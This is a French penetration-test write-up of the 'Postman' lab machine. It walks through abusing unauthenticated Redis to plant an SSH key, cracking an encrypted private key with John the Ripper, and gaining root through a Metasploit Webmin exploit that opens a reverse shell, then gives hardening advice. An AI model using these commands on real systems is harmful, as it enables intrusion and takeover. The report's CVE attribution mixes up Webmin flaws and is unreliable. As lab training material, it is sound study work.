

Rapport de Test d'Intrusion

Machine cible : **Postman** — Environnement Linux (Redis / Webmin)

Cible	10.129.2.1
Type	Serveur Linux Ubuntu (Apache, Redis, Webmin, SSH)
Objectif	Obtenir un accès initial, puis un accès root
Méthodologie	Reconnaissance → Abus Redis non authentifié → Craquage de clé SSH → RCE Webmin

1. Reconnaissance et énumération

Un scan de ports complet avec détection de versions est réalisé (*nmap -sVC -p- 10.129.2.1*). Il révèle quatre services : SSH (OpenSSH 7.6p1 sur Ubuntu), un serveur web Apache 2.4.29 hébergeant « The Cyber Geek's Personal Website », une instance **Redis** 4.0.9 sur le port 6379, et une interface d'administration **Webmin** (MiniServ 1.910) sur le port 10000.

```
$ nmap -sVC -p- 10.129.2.1
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis    Redis key-value store 4.0.9
10000/tcp open  http     MiniServ 1.910 (Webmin httpd)
```

La présence conjointe de Redis exposé sans authentification et de Webmin est un signal fort : Redis est historiquement une cible privilégiée pour l'écriture de fichiers arbitraires côté serveur lorsqu'aucun mot de passe (*requirepass*) n'est configuré.

2. Abus de Redis non authentifié pour obtenir un accès SSH

Une connexion directe au service Redis confirme l'absence totale d'authentification : la commande *CONFIG GET ** renvoie l'intégralité de la configuration du serveur, y compris le répertoire de travail (*dir*) utilisé pour la persistance des données (*/var/lib/redis*).

```
$ redis-cli -h 10.129.2.1 -p 6379
10.129.2.1:6379> CONFIG GET *
1) "dbfilename"      2) "dump.rdb"
3) "requirepass"    4) ""
165) "dir"           166) "/var/lib/redis"
```

Redis permet d'écrire son fichier de sauvegarde (RDB) à un emplacement et sous un nom arbitraires via les commandes *CONFIG SET dir* et *CONFIG SET dbfilename*. En détournant ce mécanisme, il est possible d'écrire un fichier **authorized_keys** valide dans le répertoire */var/lib/redis/.ssh/*, ce qui autorise ensuite une connexion SSH par clé publique en tant qu'utilisateur *redis* — c'est une technique d'exploitation Redis bien documentée (abus des commandes *CONFIG SET*).

Une paire de clés RSA est d'abord générée localement, puis la clé publique est encadrée de retours à la ligne (format attendu par un fichier *authorized_keys*, un salt/bruit en tête ou en fin de fichier restant toléré par SSH) :

```
$ ssh-keygen -t rsa # génère key / key.pub
$ (echo -e "\n\n"; cat ./key.pub; echo -e "\n\n") > spaced_key.txt
$ cat spaced_key.txt | redis-cli -h 10.129.2.1 -x set ssh_key
OK
```

La clé (stockée comme valeur Redis) est ensuite « sauvegardée sur disque » à l'emplacement voulu en redirigeant le répertoire et le nom du fichier de dump vers le dossier SSH de l'utilisateur *redis* :

```
10.129.2.1:6379> config set dir /var/lib/redis/.ssh
OK
10.129.2.1:6379> config set dbfilename authorized_keys
OK
10.129.2.1:6379> save
OK
```

La connexion SSH avec la clé privée générée devient alors possible, donnant un premier accès (limité) au système en tant qu'utilisateur système *redis* :

```
$ ssh -i key redis@10.129.2.1
Welcome to Ubuntu 18.04.3 LTS
redis@Postman:~$
```

3. Élévation vers un utilisateur nommé : craquage d'une clé SSH chiffrée

L'exploration du système en tant que *redis* révèle, dans */opt/*, une sauvegarde de clé privée SSH chiffrée : **id_rsa.bak**, protégée par une phrase de passe (format PEM classique, chiffrement DES-EDE3-CBC).

```
redis@Postman:~$ cat /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsC00VqyWx+C8363I0BYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
...
-----END RSA PRIVATE KEY-----
```

Cette clé chiffrée est convertie dans un format exploitable par John the Ripper via **ssh2john**, puis soumise à une attaque par dictionnaire (liste *rockyou.txt*). Le mot de passe est retrouvé quasi instantanément, ce qui indique une phrase de passe faible.

```
$ ssh2john id_rsa.bak > hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
computer2008      (matt)
1g 0:00:00:00 DONE
```

Le nom d'utilisateur associé (extrait des métadonnées / du contexte de la sauvegarde) est **matt**. La phrase de passe retrouvée permet de basculer directement vers ce compte local depuis la session *redis* :

```
redis@Postman:~$ su Matt
Password: computer2008
Matt@Postman:/var/lib/redis$
```

Le flag utilisateur peut alors être récupéré dans le répertoire personnel de Matt (non montré explicitement dans les captures mais accessible à ce stade des privilèges).

4. Élévation de privilèges vers root via Webmin (CVE-2019-15107)

Avec les identifiants de **Matt** (mot de passe *computer2008*), une connexion à l'interface Webmin sur le port 10000 est possible. Le tableau de bord confirme la version exacte : **Webmin 1.910**, une version connue pour être vulnérable à une exécution de code à distance non authentifiée/post-authentification via le module « Package Updates » (CVE-2019-15107, souvent packagée dans Metasploit sous le nom *webmin_packageup_rce*).

```
Dashboard Webmin :  
System hostname : Postman (127.0.1.1)  
Webmin version : 1.910  
Operating system: Ubuntu Linux 18.04.3
```

Le module Metasploit correspondant est configuré avec les identifiants de Matt et ciblé sur le port 10000. Il exploite une injection de commande dans la fonctionnalité de changement de mot de passe expiré du module Package Updates de Webmin, permettant l'exécution de commandes arbitraires côté serveur avec les privilèges du service Webmin (root, car Webmin tourne généralement en root).

```
msf > use exploit/linux/http/webmin_packageup_rce  
msf exploit(...) > set RHOSTS 10.129.2.1  
msf exploit(...) > set RPORT 10000  
msf exploit(...) > set USERNAME Matt  
msf exploit(...) > set PASSWORD computer2008  
msf exploit(...) > run  
  
[*] Started reverse TCP handler on 10.10.15.112:1233  
[+] Command shell session 1 opened
```

Le shell obtenu permet de confirmer l'accès root complet et de lire le flag final :

```
cat /root/root.txt  
08ac9cbea2d686bb7c7b5fa9a8113f3d
```

■ **root.txt** 08ac9cbea2d686bb7c7b5fa9a8113f3d

5. Synthèse et recommandations

- Toujours configurer un mot de passe (*requirepass*) sur Redis et le lier à une interface réseau de confiance uniquement (*bind 127.0.0.1*), jamais 0.0.0.0 sans authentification.
- Désactiver ou restreindre les commandes dangereuses de Redis (CONFIG, SAVE, FLUSHALL) via *rename-command* si elles ne sont pas nécessaires en production.
- Ne jamais stocker de clés privées SSH protégées par des phrases de passe faibles ou réutilisées ; privilégier des phrases de passe longues et uniques, ou l'authentification par clé sans phrase stockée en clair sur le disque.
- Mettre à jour Webmin vers une version corrigée (≥ 1.930) afin de ne plus être exposé à CVE-2019-15107 et aux vulnérabilités similaires du module Package Updates.
- Ne pas exécuter Webmin (ou tout panneau d'administration) avec les privilèges root si cela peut être évité, et restreindre son accès réseau à des IP de confiance ou via VPN.